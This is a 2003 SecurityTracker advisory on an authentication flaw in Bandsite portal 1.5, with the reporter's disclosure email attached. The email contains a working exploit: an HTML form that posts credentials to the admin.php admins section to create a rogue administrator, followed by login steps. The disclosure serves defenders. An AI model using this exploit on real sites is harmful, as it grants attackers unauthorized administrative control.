Bandsite Portal Software Authentication Flaw Lets Remote Users Add Administrators
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SecurityTracker Alert ID: 1007690
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CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Sep 12 2003
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Impact: Modification of user information, User access via network
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Exploit Included: Yes
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Version(s): 1.5
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Description: Nasser.M.Sh reported a vulnerability in Bandsite. A remote user can gain administrative access on the application.
It is reported that a remote user can submit a specially crafted POST request to the following URL to add a user account that will
have administrator privileges on the application:
http://[target]/bandwebsite/admin.php?&Login=1§ion=admins
The vendor
has reportedly been notified without response.
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Impact: A remote user can add administrative user accounts.
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Solution: No solution was available at the time of this entry.
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Vendor URL: membres.lycos.fr/fluxx/bandwebsite.php (Links to External Site)
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Cause: Authentication error
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Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
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Reported By: NaSsEr .M.Sh <nmsh_sa@yahoo.com>
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Message History:
None.
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Source Message Contents
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Date: Fri, 12 Sep 2003 03:46:46 -0700 (PDT)
From: NaSsEr .M.Sh <nmsh_sa@yahoo.com>
Subject: vulnerability in Bandsite Allows Gaining Admin Access.
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Informations :
°°°°°°°°°°°°°°
- Product : Bandsite portal system
- Website : http://membres.lycos.fr/fluxx/bandwebsite.php
- Author : Jelle de Vos
- Tested version :1.5
- Problem : vulnerability in Bandsite Allows Gaining Admin Access.
Product Description :
°°°°°°°°°°°°°°°°°°°°°
Bandsite is an online portal system designed for Bands. Features: themes
support, news posting, audio sections, guestbook, tour guide, an admin
section to manage overall data and configurations, and more.
Exploits :
°°°°°°°°°°
===================== nmsh.htm ==============================
<TABLE cellSpacing=1 cellPadding=5 width=570 bgColor=#665E6B border=0>
<TBODY>
<tr><td bgcolor=#ffffff>
</p>
<p>
<form
action=http://[target]/bandwebsite/admin.php?&Login=1§ion=admins
method=post>
Name:<br>
<input type=text name='name' value='nmsh' size="20"><br>
Pass:<br>
<input type=text name='pass' value='nmsh' size="20"><br>
<input type=submit name='submit' value='send'><br>
</form></TD></TR></TBODY></TABLE>
<P><BR></P></TD></TR></TBODY></TABLE></BODY>
===================== nmsh.htm ==============================
The admin has been added!
:(
now go to this link :
http://[target]/bandwebsite/login.php
and login as admin
name : nmsh
pass : nmsh
Vendor:
°°°°°°°
Vendor has been contacted, no reply received.
Provided by :
°°°°°°°°°°°°°
Nasser.M.Sh
nmsh_sa(at)yahoo.com
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